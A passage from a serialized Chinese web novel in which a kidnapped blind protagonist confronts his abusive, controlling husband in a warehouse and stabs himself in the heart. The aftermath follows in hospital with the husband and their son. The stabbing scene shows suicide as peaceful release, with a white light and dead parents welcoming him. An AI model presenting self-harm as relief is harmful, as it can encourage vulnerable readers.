一直以来都是他在无尽的付出,可现在——
他想。
让我拥有一下吧。
一下也好。
……
废弃的仓库里弥漫着潮湿的霉味和铁锈的腥气,头顶一盏摇摇欲坠的白炽灯发出昏黄的光,将整个空间切割成明暗分明的几块区域。
余赋秋站在仓库的中间。
“来吧,开始游戏吧。”
施铜将蒙住他眼睛的布条揭开,将他重重地往前推了一把。
“你蒙住我,又有什么意义?”
余赋秋回头,那双无神的眼睛淡淡地‘看着’他,“我一个瞎子,能出什么?”
施铜的手一顿,爆发出大笑:“抱歉抱歉,忘记你是个瞎子了。”
“现在呢,因为你,害的我要重新修复剧情。”
施铜仿佛变了一个人,神情逐渐癫狂,语气也开始变得疯癫起来,和余赋秋记忆中的施铜差别很大。
他心一沉,不着痕迹地往后退了两步。
“明明你乖乖消失不就好了,为什么要出现bug,明明长庭知都和我达成了交易,为了保全主角受,保全剧情的完整性,我才能获得这个世界的能力。”
“可是,你让剧情偏离了,长春春就不应该出生,那场车祸怎么没撞死他,那次摩天轮怎么没让你死掉?你怎么没死在两年前的大火中?!”
“但幸好,你代替柯祈安成为了主角受,只要你修复剧情,一切都还来得及。”施铜喃喃自语道,脸上扩大出扭曲的笑容,“对啊,既然都扭曲了,那么只要死掉一个,由主角受选出新的主角攻不就好了吗?”
余赋秋被施铜强制带来的时候,手腕被粗糙的麻绳勒出红痕,膝盖还在轻微的发抖,勉强支撑着身体的重量,强撑着不让自己倒下去。
“所以现在,选择权在你的手中,左边是长庭知,右边是沈昭铭。”
施铜心情很好地哼着歌,他抬起手,手里转着一把锋利的匕首,刀锋在昏黄的灯光下闪着一道冷光,像是毒蛇吐着蛇信子。
余赋秋还没反应过来,他的指尖传来一阵疼痛,他下意识地缩回手,但却被抵住了虎口,冰冷的刀刃抵在他的掌心,只要他一挣扎,刀锋就会划开他的掌心。
“哎呀呀,真是对不起,手误了。”施铜像是可惜道:“这么漂亮的手。”
他伸出指尖在余赋秋的脸上轻轻滑动着:“我早就应该察觉到,能在大火中存活下来,甚至烧伤过后,竟然还能有漂亮的脸,主神真是偏爱你,我选错了人,一开始就应该知道是你来成为主角受的。 ”
“你的主角受是什么很有价值的东西吗。”余赋秋冷冷地说道,手在刀刃上触碰着,任由指尖的鲜血滑落在地上,“要经历这么多让人恶心的遭遇。”
“被囚禁、被背叛、被伤害,甚至被强。暴。”
“失去孩子、失去爱人。失去自由,失去尊严。”
他摸了摸自己的眼睛,“甚至还要被剥夺我的人生。”
“才能遇到所谓的真爱。”
“这有什么意义?”
“如果这就是主角受的待遇,那我宁愿从来没被选中。”
“这种得到的垃圾,我不屑一顾。”
他面色冷淡,只是在提及过往的时候,声音才会带上一丝丝的情绪。
“那又怎么样?”
施铜笑道,“你没有选择了,你在第一天就做出了选择,我现在只是来修正剧情的,所以。”
他后退一步,展开双臂,像是在介绍一场盛大的演出。
“现在,游戏规则很简单。”
他指了指左边的长庭知。
“他。”
又指了指右边的沈昭铭。
“他。”
两个人都昏迷着,显然是被下了不少的迷药。
“两个人,你手里有一把刀。”他走上前,调整了一下姿势,让刀柄被握住。
余赋秋丧失了视觉,其他感官的敏感度被无限制的放大,金属的触感透过皮肤传来,凉得刺骨。
施铜退到几步之外,靠在墙上,从口袋里掏出一根烟,点上,深吸一口,吐出淡淡的烟雾。
“我给你一分钟。”
“一分钟后,你要在他们之中选择一个。”
“活下去。”
他顿了顿,笑容加深:“另一个,则死。”
“不,不是死亡,是彻底消失于这个世界上。”
烟雾在昏黄的灯光下缭绕,模糊了他的脸,只留下那双闪烁着恶意的眼睛。
“选择吧,余先生。”
“当然,一分钟,他们也即将醒来,有他们自己辩解的时间。”
“让我看看,你最后的爱,到底给了谁。”
余赋秋站在原地,手里握着那把刀。
他的目光虚无,落在两个人的身上。
长庭知。
沈昭铭。
一个是他曾经深爱,但却又恨的人,一个是他以为可以倚靠,可以度过余生的人。
一个囚禁了他,折磨了他,把他变成如今这副模样。
一个救了他,陪伴了他,给了他重新活下去的希望。
倒计时开始了。
余赋秋的脚步在原地,没有动。
“……球球?”
熟悉的称呼和语气的尾音,让余赋秋浑身颤抖。
他嘴唇嗫嚅着,喊着长庭知的名字:“小……小树。”
长庭知微愣,他的全身被绑着,动弹不得,“我在,球球,不害怕,我在。”
“赋秋!他骗你!”
沈昭铭的声音一下子将余赋秋拉回了现实,“真正的长庭知早已经死了,被他吸收了,他是长庭知,不是你的小树!”
“他做了那么多的错事,那么多伤害你的事情,你还要去选择他吗?”
沈昭铭深吸了口气:“长庭知,我求求你放过赋秋吧,他已经够苦了,为什么还要在这种事情骗他?”
“球球。”长庭知出声道:“如果我真的让你这么痛苦,你就亲手杀了我,让你自由,好不好?”
他神情眷恋,“我陪伴你十五年,我已经很满足了,做人不能太贪心的。”
“如果这么做能让你开心,我愿意。”
“只是春春,需要你多照顾了,我……”他喉头滚动了两下,“过去两年,我没有照顾好春春,对不起。”
“也许我没有弥补的时间,但是你可以陪伴他长大,就足够了。”
余赋秋动了。
他朝着左边走了过去。
施铜的眼睛亮了,嘴角勾起得意的笑容,果然还是要选择这个疯子,毕竟他们纠缠了这么多年,怎么可能——
但余赋秋没有在长庭知的面前停下。
他越过那把椅子,走到长庭知的身后,然后转过身,面对着他。
长庭知低垂着脑袋,看不见神情。
余赋秋无神的眸子看着他,凝视了很久。
然后,他笑了。
那是那是一个极淡的、几乎是透明的笑。
没有温度,没有恨意,只有一种疲惫到极致后的、近乎悲悯的平静。
随后他抬起了手。
重重地在长庭知的脸上打了一巴掌。
长庭知的脸被打偏了过去,他不可置信地瞪大了眼睛。
“醒了吧。”
他的声音很轻,却在死寂的仓库里清晰可闻。
长庭知的睫毛颤了颤。
余赋秋看着他,继续笑,那笑容让人心头发寒:“你的戏,还要演到什么时候?”
长庭知缓缓抬起头。
那张满是血污的脸上,眼神清明,哪里有半分迷茫的迹象。
他看着余赋秋,嘴唇动了动,却没有发出声音。
长庭知没有说话。
他只是看着余赋秋,看着那双空洞的、却仿佛能洞悉一切的眼睛。
“球球……”
“够了。”
余赋秋打断他,声音平静得可怕。
“这种自导自演的戏码,真的够了。”
“为什么还要假装成他?”
“假装成那个……我爱的小树?”
长庭知的脸色变了。
“球球,我没有假装,我已经知道错了,我在学着变好——”
“变好?”
余赋秋轻轻重复这两个字,像是在品味某种陌生的语言。
“你已经知道错了?”
他又重复了一遍,语气平平。
然后,他低下头,看着自己被绑住的、握着刀的手。那双手很瘦,骨节分明,青筋隐隐。
“你知道我等他,等了多久吗?”
他的声音变得很轻,像是在自言自语。
“等了那么久,久到我都不记得自己是谁了。”
“可是,他被你扼杀了,彻底的消失了。”
“不,没有,球球,他没有消失——”
“我,我就是他,他就是我,我们,我们结婚证上都是这样的,你还记得吗?”
“我们是一体的,你能爱他,为什么不能爱我?”
“和你结婚的是他,也能同样是我。”
长庭知的眼睛忽然亮了起来,急切的点头,“对,我们是夫妻,你给我一个机会,我们重新开始好不好?我们是被认可的,我们——”
余赋秋空洞的眼神看着他,随即缓缓地摇了摇头。
“我没有名字了。”
他说。
长庭知愣住了。
余赋秋看着他,嘴角扯出一个极淡的、几乎是透明的弧度:
“我的身份,被注销了。”
“在官方的记录里,余赋秋这个人,已经死了。”
他的声音平稳得像在陈述天气:
“我现在只是个黑户。一个不存在的人。一个活着的……死人。”
他顿了顿,目光落在长庭知脸上,看着那张脸一点点变得惨白。
“所以,和你结婚的余赋秋,早就死了。”
“这一切,都是拜你所赐。”
不是质问,不是指控。
只是在陈述一个事实。
一个早已存在、却从未被正视的事实。
长庭知的嘴唇剧烈地颤抖,他想说什么,想说“我不知道”,想说“不是我做的”,想说“我可以帮你恢复”
——可是看着余赋秋那双平静得可怕的眼睛,所有的话都堵在喉咙里,一个字也说不出来。
因为那些话,太苍白了。
苍白到连他自己都觉得可笑。
这是事实。
这是他亲手造成的事实。
他以为这样,就可以切断余赋秋所有的退路,让余赋秋乖巧安稳地呆在自己的身边。
可是——
可是——
余赋秋不再看他。
他看着自己的小腹。
那里微微隆起。
他以为自己是假怀孕。
可是在一周前,温煦和他说。
他真的怀孕了。
但他的心脏已经负荷不起这个小生命了。
余赋秋扯出一个凄然的笑容。
“这里有我们的孩子。”他抬起长庭知的手,摸到自己的肚子上,似乎可以感受着那里的胎动,“曾经,这里有一对孩子,我拼命恳求你别走,你却还是走了,在那个雨夜。”
“是你亲手害死了我们的孩子,但这里又有了一个新生命。”
“但你凭什么认为,我还会让他出生?再受你的折磨,在成为你囚禁我的枷锁吗?”
长庭知的身体剧烈地颤抖起来,他想站起来,想冲过去,想解释,想道歉,想抱住他——可是他被绑在椅子上,动弹不得。
“球球……对不起……我不知道……我真的不知道……”
他的声音破碎得不成样子,眼泪混着脸上的血污往下流。
余赋秋看着他,看着这男人,此刻像一条狗一样被绑在椅子上,涕泪横流地求他原谅。
“仅仅是因为你的爱,我就要失去一切,我就要去遭遇这一切,我就要被虐待长大,我就要承担这一切,而你拥有一切,凭什么?!”
“你从来没有问过我想要什么,因为你,我被强制送去了精神病院,那些折磨我十几年的噩梦,都是因为你,你以为这样就可以救赎我,就可以进入我的生命,可是你问过我没有?”
“我不愿意我不愿意我不愿意!”
“我只是想要一个爱我的爸爸妈妈,想要一个幸福的家庭,想要一个平静的人生而已,和普通人一样平凡地度过一生,这就够了。”
他忽然觉得很累。
累到连恨,都懒得继续了。
“长庭知。”他最后一次叫他的名字,声音轻得像一片落叶,“我真的很累了。”
“累到……不想再演下去了。”
他低下头,看着手里的刀。
刀锋在昏黄的灯光下闪着冷光。
他的手指轻轻抚过那冰冷的金属,像是在抚摸一件老友。
长庭知似乎预感到了什么,他开始拼命挣扎,椅子在地上发出刺耳的摩擦声:“不——球球——不要——”
余赋秋没有看他。
他只是把刀缓缓举起,刀尖对准自己的心口。
那个位置,曾经装满了对这个人的爱。
后来装满了恨。
现在……
什么都没有了。
空的。
“我要去陪我的爸爸妈妈了。”
他扯出一个笑容。
“如果再来一次,我宁愿和你不会再相遇了。”
刀尖刺入皮肤的瞬间,他只感觉到一阵冰冷的、几乎像解脱一样的疼痛。
温热的液体涌出来,染红了他的衣服,染红了他的手,一滴一滴落在地上,汇成一小片刺目的暗红。
长庭知的嘶吼声变得遥远而模糊,像是隔着一层厚厚的玻璃。
耳边响起的呼喊声逐渐模糊了起来。
余赋秋的意识越来越模糊。
然后他看见了一道白光——
那道白光里面,面容温柔的女人和俊美高大的男人在冲着他微笑,伸出手向他张开拥抱。
“赋秋,来爸爸妈妈这里。”
他笑了。
这一次,是真的笑了。
那笑容很淡,却带着一种从未有过的、真正的平静。
他缓缓闭上眼睛。
身体向后倒去,落入无尽的、温暖的黑暗里。
刀从他手中滑落,落在地上,发出清脆的一声响。
血,还在流。
汇成一条细细的、暗红色的溪流,朝着未知的方向,缓缓蔓延。
像一条终于找到归宿的、疲惫的河流。
第95章 第95章[VIP]
刀尖抵在心口的那一刻, 长庭知的大脑一片空白。
不是比喻,是真的空白。
像是有人按下了删除键,所有的声音、光线、时间、空间——全都消失了。
只剩下余赋秋把匕首插入自己心口, 扯入一抹苍白的笑意。
单薄的身体在昏暗的光线里近乎透明, 像是一碰就会碎掉的纸片。
那张脸上是近乎解脱的平静。
他想要解释,这不是他策划的。
他根本没想到,他一睁眼就到了这个地方。
他想告诉余赋秋, 不是这样的,他知道错了,他会放他自由的, 只要他好好活着。
他不知道怎么样去爱人, 只能凭借自己浅薄的见识去爱余赋秋。
他也在学习。
可是……
为什么不给他一个机会?
漫天的血喷涌而出,温热的血飞溅在他的脸上。
长庭知感受不到自己的呼吸和心跳了。
整个世界在他的眼中都跟老电影一样被缓慢缓慢地放大。
余赋秋的身体往后倒下。
他看见了。
看见了那些日子余赋秋是怎么一天天瘦下去的, 看见了他吃不下去东西时痛苦的表情, 看见了他萧瑟着说“不治疗”时候的恐惧,看见他抱着自己旧衣服蜷缩在衣柜里,喊着“怪物”时的崩溃。
看见了他刚才那一瞬间,脸上那种——
终于可以解脱的笑容。
他把他逼到了这一步了吗。
原来,他们之间已经变成这样了吗?
他想起左成双在治疗余赋秋的时候, 看着新行的药剂, 他问了一个问题:“你想让他怀孕吗?”
怀孕。
意味着另一个细小生命的开始。
他想要, 他当然想要。
他想要和余赋秋有一个自己的孩子,想亲自抚养着这个孩子长大,想和余赋秋一起看着这个孩子从牙牙学语到成人。
但是他忽略了左成双的警告。
——余赋秋的心脏情况已经有了不可逆的损伤。
已经不可能负担起一个小生命了。
但每次晚上他看着余赋秋, 情到深处时候余赋秋抓着他的衣角, 会无意识地喊着别人的名字那刻。
他所有的理智都崩塌了。
他用药物调理,看着余赋秋一天比一天好的气色, 他以为自己已经被余赋秋接受了。
可是这一切都被打破了。
长庭知挣扎着,爆发着他自己都没察觉的力量,他暴力地扯开绳子,绳子磨入皮肉,鲜血顺着手腕留下,他都没察觉。
他把长春春都带来了余赋秋的身边。
他是余赋秋唯一的孩子,世界上最深的牵挂,他们血溶于水。
长春春都没有留住余赋秋。
他还能怎么留住余赋秋?
他还有什么是可以……挽留余赋秋的?
他抱着怀中的身躯,敢睡着那体温的流逝,他想要止住心脏的血,可他的手颤抖着,掌心全都被鲜血浸泡着。
“不……不要离开我……”
泪水盈满了他的眼眶,他看不清余赋秋的脸了。
但他却可以看见那个解脱般的微笑。
他在笑。
但他的笑不是给他的。
是给死亡的。
“球球……你别离开我……我求你了……”
声音似乎撕破了喉咙,他只能发出嘶哑如同老旧风琴的声音。
“我错了——”
“我不该关你的。”
“我不该那样对你的——”
“你醒来好不好,你把刀,把刀刺入我这,好不好?”
他拼命地想要抬起余赋秋的手,拿起落在地上的刀,放置在自己的心口,只要一用力,尖锐的刀就会刺穿他的心脏。
可那双手自始至终都没有动过。
余赋秋仿佛知识安静的睡着了。
“你要走就走,我让你走,我不关你了,我不找你了——”
他的眼泪滴在余赋秋的脸上,混进那些血迹里,分不清是泪水还是鲜血。
救护车的鸣笛声响彻天际,打破了仓库的寂静。
长庭知看着被紧急手术然后推入重症病房的余赋秋。
他颓废地坐在椅子上,手上的鲜血已经结痂了,头发凌乱,鲜血飞溅在脸上,看起来分外的狼狈。
他的眼神一直紧紧盯着余赋秋的心电图,生怕下一秒,余赋秋的心电图就归零。
医生的话在耳畔回荡着。
孩子是留住了,但大概率保不住,余赋秋的心脏情况太差了,又遭受了刀尖的刺破,心脏的情况急剧恶化,除非是心脏移植还有一线生机,否则随时都有可能走。
长庭知在门外,一直不肯离去。
泪水止不住地从他眼尾滑落。
他的手掌心似乎还残留着那身体越来越冷的温度,耳边重复着自己的呢喃。
“别走……别走……求你了别走。”
在去往医院这条路是长庭知走过最长的路。
医护人员一直在止血,竭尽全力去维持余赋秋的生命。
长庭知第一次感知到了自己的无力。
有钱又怎么样?
有权有势又怎么样?
他们有了孩子又怎么样?
他还是留不住余赋秋。
留不住自己的爱人。
他只能跪在救护车上,握着余赋秋冰冷的双手,“你不要抛下我……不要扔下我……”
“醒来,球球,球球……你看看我。”
“我后悔了,我真的后悔了……”
他喃喃道:“你走了我怎么办……我该怎么办……”
他想起十七年前那条巷子里,那个青年朝他伸出手,把他从泥泞里拉出来。
他想起那些挤在二十人大通铺的冬夜,余赋秋把唯一的被子裹在他的身边,然后把他抱进怀里,那双手捂住他的耳朵,为他挡去外面吵闹的鼾声。
他想起春春出生那天,余赋秋抱着那个皱巴巴的婴儿,眼睛亮得像落了星星,他说:“庭知,我们有家了。”
他想起那些他亲手毁掉的日子,那些他冷漠以对的夜晚,余赋秋在玄关处等他到天明的孤独身影。
他以为拥有他。
他以为只要把他关在身边,只要不让他离开,他就可以永远的拥有他。
可他现在才明白。
他从来没有拥有过他。
他只是在亲手,一点一点,把他杀死。
“我让你走……我真的让你走……”
他的声音越来越低,低成沙哑的呜咽。
“你想去哪里就去哪里……想跟谁在一起就跟谁在一起……”
长庭知把脸埋入他的掌心,像以往很多次那样,每次只要这样,余赋秋都会温柔地揉着他的头发,然后亲亲他的唇角。
可是——
这一次却没有动。
长庭知从来没有这样哭泣过。
从来没有这样求过任何人。
可此刻,他已经不在乎了。
他只要他活着。
哪怕活过来是为了离开他,哪怕活过来是为了恨他,哪怕活过来是为了再也不见他。
只要他活着。
“球球……”
“只要你活着……”
“十几年,我都愿意等。”
他听不见外面的任何声音,只是虔诚地跪在救护车上。
一遍又一遍的祈祷神明。
“别走……”
“求你了……”
“别走……”
……
长春春做了一个梦。
一个和他以前的梦截然不同的梦境。
梦里的世界,是从一阵笑声开始的。
那笑声很轻,很远,像是风吹过风铃的声音。
眼前的白雾慢慢散去了,他看见了阳光。
然后他看见了和记忆中截然不同的妈咪。
在客厅的沙发上坐着两个人。
一个年轻漂亮的女人,头发长长的,眼睛弯弯的,笑起来有两个浅浅的酒窝。
长春春看到这个女人的第一眼,心生好感。
可是他明明没有见过这个女人。
一个年轻的男人,坐在女人的身边,手里拿着一个switch。
“他很早就想要这个了,连晚上在睡梦里都喊着要这个。”
“上次答应过他,这次考试进步就给他买。”男人笑着。
然后——
“爸爸——”
“妈妈——”
“我回来啦!”
一个声音从门口炸开,带着跑调的欢快。
长春春转过头,他看见了妈咪。
但那不是他熟悉的妈咪。
那是——
那是一个大概十几岁的少年,背着书包,校服歪歪扭扭地穿着,领口敞开两颗扣子,因为跑的太急切,脸上都是汗,碎发贴在额角。
手里抓着半根冰条,正一边跑一边往嘴里塞。
“球球,说了多少次了,别跑这么快。”女人嘴里责怪着,但却下意识地揉了揉他凌乱的头发,把他的书包放在沙发上。
余赋秋嘿嘿笑着。
“今天考试了?老师告诉我了。”漂亮的女人弯下身,看着余赋秋。
少年的余赋秋有些心虚地嘿嘿笑着,从书包里拿出了一张试卷,挽着女人的手臂嘟着嘴撒娇:“妈咪,我,我,嗯……”
他声音越来越小,似乎有些难过:“我,我不是故意的……我后桌说我作弊,但我根本没有,他故意把纸条扔我这里,然后举手和老师说,老师根本不听我辩解,我……”
长春春垫着脚尖,看到了那份夹杂在余赋秋手里的试卷。
上面写满了,但在试卷的总分上写一个大大鲜红色的“0”
余赋秋小心翼翼地抬起眼,想要看妈妈的表情。
可是妈妈的表情没有出现他表现中的失望,而是温柔着摸了摸他的头。
随即男人出现在他的身后,“赋秋,看,这是什么?”
余赋秋看着梦寐以求的switch,眼睛都亮了,他伸手想要去拿,但随即手又僵在了半空。
“可,可我没进步,还,还考这么差……”
男人弯下腰,把他抱在怀中,抱着余赋秋转了几圈,“你是不是没作弊?”
余赋秋坚定地点了点头:“你们告诉过我,没做过的事情就不能认,我都会试卷上的内容,为什么要认?”
“那就可以了,咱们问心无愧。”
“不管你有没有进步,只要你健康快乐,这就是我们最大的愿望。”
女人拿出红笔,把0改成了100,“谁说宝贝没进步呀?这不是满分吗?”
余赋秋笑的开怀,窝在父母的怀里撒娇,“妈妈天下第一好!”
“诶?那爸爸呢?”男人故意板着脸。
“因为妈咪是第一好。”余赋秋眨了眨眼:“你娶了妈咪这样天下第一好的人,所以爸爸是天下第二好,还是你赚了。”
阳光从窗户照了进来,照在他们的身上,三个人的笑声混在一起,飘的满屋子都是。
长春春站在角落里,看着这一切。
他从来没有见过这样的妈咪。
他认识的妈咪,总是安静的,总是小心翼翼的,总是把自己的存在感降到最低,除了和爸爸以外,就再也不会理直气壮地撒娇,从来不会这样理所当然地要求被爱。
他所认识的妈咪,从旁人来看,是温柔的,是漂亮的,也是脆弱的。
他即使看见妈咪和爸爸在一起的时候,不知道为什么,他总觉得妈咪是满足的,是做好了随时放手的准备。
他没想过自己的未来。
没想过和爸爸、和春春能长期走下去。
他只是想自己在有限的时间可以去陪伴他们。
然后自己守着这些回忆蜷缩起来,在无尽的黑暗中。
妈妈从来没有和他提及过外婆外公。
妈妈说他没有家,他的妈妈不要他了,他的存在就是个错误。
他是不该存在的存在。
但面前的这个少年——
他可以在妈妈的大腿上蹭来蹭去,可以把鞋子扔的到处都是,可以在考试没考好的时候用那种心虚又讨好失望眼神看人。
因为他知道,他知道无论他做什么,爸爸妈妈都会接住他。
他知道无论他变成什么样子,爸爸妈妈都会爱他。
他知道他有一个可以随时回去的地方,有一个可以随时撒娇的人。
可这一切——
都被长庭知摧毁了。
长春春知道这个真相的时间,心脏还是被一只大手紧紧拧着。
那他的存在——
是不是成为阻碍妈咪的枷锁了?
妈咪渴望一个家。
有了他。
那个房间慢慢变得模糊,三口之家拥抱的背影慢慢变远。
长春春伸出手,想要抓住什么。
可是他什么都抓不住。
他只能看着那些画面一点一点消散,看着那个会撒娇,会脸红,会理直气壮地对着外婆说‘妈妈天下第一好’的少年,消失在白色的雾气里面。
那个余赋秋似乎有所感应,他在外婆的怀抱里抬起头,与身后的长春春对上了视线。
然后长春春听见了一个声音。
很轻,很近,就像是在耳边。
“春春。”
长春春猛地睁开了眼睛,呼吸急促。
那道声音仿佛还在耳边,但现实的耳朵里面充斥的是嘈杂滴滴仪器的响声。
“爸爸。”
长春春拄着拐杖,慢慢地走到颓废地坐在长椅上的长庭知。
他面色灰白,身上还沾染着余赋秋的鲜血,在这里整整坐了一天一夜。
眼神空洞,双手是止不住地颤抖。
“春春……”听到了长春春的声音,长庭知才像是有了一点点的生命力,才像是一个活生生的人,“我……我……我要怎么办……”
他仿佛一个迷茫的孩子,甚至求助于自己九岁的孩子。
“球球……他真的好狠心。”
“他真的这么恨我吗?”
“我真的这么……十恶不赦吗?”
“我做错了,我真的做错了,我在改啊,我真的再改啊。”
眼泪从他的眼尾滑落,滴落在因为用力而泛白的指节上面,他看着躺在隔着一墙玻璃病房的余赋秋,他只是安静地躺在那里,胸膛的起伏近乎微弱,一点儿反应也没有,仿佛只是安静地睡着了。
“可他为什么……不给我机会,他为什么连改的机会也不给我……”
“我笨啊,我不会爱人,我没有‘长庭知’聪明,和球球一开始相遇的,为什么不是我,过去十五年,我只能像个阴暗的阴沟里的老鼠,偷窥着他们……”
因为剧情的操控,他掌握了这具身体的主动权,但丧失了在过去十五年和余赋秋相爱的点点滴滴,等他全部融合长庭知的记忆之后,一切都晚了。
一切似乎都变得不可挽回。
他开始变得偏执、疯狂,只是为了能把余赋秋留在身边。
“你怎么……舍得让我,让我们单独留在这个世界上?”
“没有了余赋秋,长庭知该怎么活下去呢?”
剧情有一句话说的不错,是因为余赋秋选择了他,他才成为了主角攻,是余赋秋赋予他选择的权力,给了他被爱的勇气。
他的声音越来越大,越来越破碎,最后变成了嘶哑的呜咽。
“他宁可死,宁可把刀捅入自己的心脏,他也不要我。”
“可是这次真的不是我干的,我怎么舍得让他自己伤害自己呢?”
“我情愿现在躺在里面的人是我,也不会是他。”
“我就这么让他恶心吗……”
“我就这么想让他逃吗?”
“十七年啊,十七年啊,春春……”
人生能有几个十七年?
“我从那条巷子里被他捡回去,我跟着他,我守着他,我们在一起……”
“那两年他不在,我疯了,我真的疯了……我把他的照片贴满了整个房间,我每天晚上对着那些照片说话,我告诉自己他会回来的,他一定会回来的。”
其实长庭知早在一年之前就找到了余赋秋的踪迹,他近乎病态的找私家侦探,全天拍摄余赋秋的生活,无孔不入。
自然也知道余赋秋在过去和沈昭铭在各个地方留下了他们的足迹,病态地见证他们拥抱甚至亲吻。
沈母的事情也有他的插手。
可是他没想到,在经历了那样的事情后,沈昭铭毅然还是要和余赋秋结婚。
这个消息如同一根导火索,彻底点燃了他积攒了两年的黑暗,吃了大批的药物也依旧压抑不住他扭曲的念头,他把余赋秋抓了回来。
“球球真的回来了……”
长庭知喃喃道,“可他不记得我了,他不认识我了,他看我的眼神,像是再看一个陌生人,像看一个怪物。”
“我以为……只要他恢复记忆,我们就会回到以前,他会一直爱我,永远爱我……”
“可是我……”
长庭知忽然明白了‘长庭知’沉睡前的那句话。
所有罪恶的因果,都由他来承担。
长庭知捂住脸,肩膀剧烈地颤抖,却发不出声音。
那是一种无声的、压抑到极致的崩溃。
长春春静静地站在他的面前,看着他的爸爸。
他看见爸爸的泪水从指缝里流出来,落在地上,看见爸爸像一只受伤的、找不到归路的野兽。
他从来没有见过这样的父亲。
他伸出手,轻轻地擦去长庭知脸上飞溅的鲜血。
长庭知浑身一颤。
他愣愣地看着长春春。
“爸爸。”
长春春轻轻叫了一声。
“妈咪……是太累了。”长春春慢慢地说:“春春知道,妈咪每天晚上睡不好,一直在做噩梦,妈咪吃不下东西,吃了就吐,可是为了春春,他还在努力地吃。”
“妈咪抱着春春的时候,会哭,可是妈咪哭完的时候,会摸摸春春的头,说没事。”
“妈咪太累了,累到不想再累了。”
“爸爸你见过妈咪扑到外公外婆怀里撒娇的场面吗?”
“和春春见到的妈咪都不一样,妈咪和你和我在一起的时候,他总是满足的,总是打算在时候到了,就会离开的。”
“妈咪总是小心翼翼的,他像是数着日子,在仅有的时间去感受所有的美好,可是这和在家里是不一样的。”
“春春虽然年纪小,但能感受到的。”
“爸爸,你的爱对于妈咪来说,太沉重了,太极端了。”
“妈咪从很早的时候就告诉你了。”
“春春……”
他的声音从指缝间传出来,断断续续的,“爸爸……爸爸不知道……爸爸以为……以为只要留住他……只要不让他走……”
他说不下去了。
长春春没有说话。
他只是把那只小手,轻轻擦去了长庭知的泪水。
过了很久很久,长庭知终于抬起头。
他的眼睛还是红的,脸上全是泪痕。
他看向安静躺在床上的余赋秋。
“如果……”他的声音沙哑得几乎听不见,“如果妈咪醒了……”
他没有说完。
他不知道该说什么。
如果他醒了,他要怎么做?
放他走?他不甘心。
不放他走?他会再死一次。
他站在悬崖边上,进退都是深渊。
长春春顺着他的目光看过去,也看着那扇玻璃。
“爸爸。”他轻轻说。
“只有活着,才有资格谈爱。”
“如果死了,那真的什么都没有了。”
长庭知愣住了,看着面容近似自己又相似余赋秋的孩子。
他脑海中响起了褚宝梨那句话。
“你要让春春,再一次失去他的妈妈吗?”
“然后和你一样经历没人爱的童年吗?”
第96章 第96章[VIP]
长庭知想, 他就是做错了。
他真的不会去爱人,他自以为是的爱对于余赋秋来说,就是一个沉重的枷锁。
他摸了摸脸上已经凝固下来的鲜血, 面前重新浮现出余赋秋的模样。
在他的目光看到满目掌心变成褐色的血之后, 那些属于他但对于他来说又陌生的记忆随着余赋秋模样的出现,从脑海最深处浮现了出来。
火——
漫天的火光。
在房子里面,滚滚浓烟之中。
他拼命地想要打开精神病院的房门。
但是里面被余赋秋用锁链死死地反锁住了。
“不, 不要——”
长庭知一眼就看出来了,那是他。
是他亲手把余赋秋送入精神病院的,为的就是把余赋秋逼入绝境之后, 在走入他的生命, 将他从满身淤泥的地狱中拯救出来,让余赋秋满心眼里都是他。
长庭知的掌心出了细密的汗, 根本抓不住那边的门把手, 门上也被余赋秋洒了油,他根本抓不住。
一股绝望感铺天盖地地席卷而来,将他彻底淹没。
这不可能。
他们明明昨天还在那张床上耳鬓厮磨,余赋秋还抓着他的衣角在撒娇。
今天,怎么就变成了这样?
余赋秋往自己的身上倒着油, 任由火逐渐蔓延在他的身上, 他感知到了被锁链锁住的大门正在被人疯狂的撞击着, 他侧目,凌乱的长发披散在身后,透过锁链的孔, 他对着长庭知灿然一笑, 对着口唇说。
“再见了。”
精神病院的拍卖场对于余赋秋的身心造成了巨大的重创,他的精神也摇摇欲坠, 将长庭知当作自己幻想出来的人。
所以长庭知和系统做了交易。
分裂出了第二个人格。
将所有他对余赋秋做的一切都遗忘,让他们真正去相知相遇相爱。
那场火灾和毅然将刀捅入自己心脏的余赋秋的脸重新融合在一起。
不要——
不要——
长庭知想要呐喊,但是他的喉咙却发不出一点点声音。
他不断地和上苍祈求着,不要让余赋秋离开他。
他只要余赋秋留在他的身边。
但就在这一刻——
他好像全都懂了。
褚宝梨让沈昭铭在大火之后带走余赋秋。
她祈求长庭知对余赋秋再好一点,甚至——
放过余赋秋吧。
也是他自作自受,把余赋秋的户籍曝光,让他被迫注销了身份,成为彻底的黑户。
是他毁了余赋秋十五年来的努力,也是他毁了他热爱的事业。
一切都是他的错。
他只是想要把余赋秋留在自己的身边,和他回到以前,想要余赋秋和以前一般爱着自己。
可他——
看着满目的鲜血,他的大脑在这一刻骤然变得空白,耳朵旁边什么声音都听不见了,时间仿佛在这一刻停止下来。
他都干了什么?
他忽然想到了施铜。
有长春春在,他们的感情也逐渐向好的方向发展,余赋秋怎么可能会毅然选择自杀?
施铜说了什么?
施铜怎么会出现在那里?
所有的答案都指向了一个可能性。
施铜把一切都告诉了余赋秋。
余赋秋本来有那样幸福的家庭和人生,却因为他,这一切都被破坏了。
没有感受过幸福,没有期待,那还谈什么以后呢?
长庭知浑身颤抖着,心脏近乎痉挛般止不住地疼痛,伴随着呼吸,那种硬生生血肉分离让他的大脑越发的清晰。
他伸出手,想要去拥抱余赋秋。
可他不敢。
他的手会弄脏余赋秋。
他又有什么资格去触碰余赋秋呢?
他的指尖最后落在了冰冷的玻璃上,留下深深浅浅的痕迹。
“我……”
他嘴唇蠕动着,慢慢地说出了几个字。
在那几个字落下的时候。
余赋秋的心脏仿佛有了跳动一般,心电图开始缓慢地攀升,发出嘀嘀嘀的声音。
他的声音发着颤抖的哭音,深吸了口气,想要抑制翻涌上来的痛楚。
可是看见了那个心电图,他却再也忍不住,看着被他硬生生打断的小腿无力地垂落在病床上。
长春春说得对。
人一旦死了,就什么都没了。
只有活着,才能有他拥有想要的一切。
才能提及爱。
才能提及——
他的喉头艰涩地滚动了两下,“我,我给你……自由。”
“你想要什么,我都给你……”
“如果离开我,能让你……”
能让你活下去的话,我,我愿意放手。
他看着戴在余赋秋无名指上的那枚银色的戒指。
彻底融合了长庭知记忆的他,知道那意味着什么。
别人都说他很聪明。
他自小在那样的环境里长大,手段狠辣,否则下一个成为尸体的——
就是他。
但他却觉得自己也很笨。
他还是学不会去怎么爱一个人。
或许一开始,他就应该让自己的第二个人格,永远存在着。
余赋秋说错了一点。
他不是错误的bug。
也不是错误的错误。
真正的错误。
是他。
……
“奇迹——”
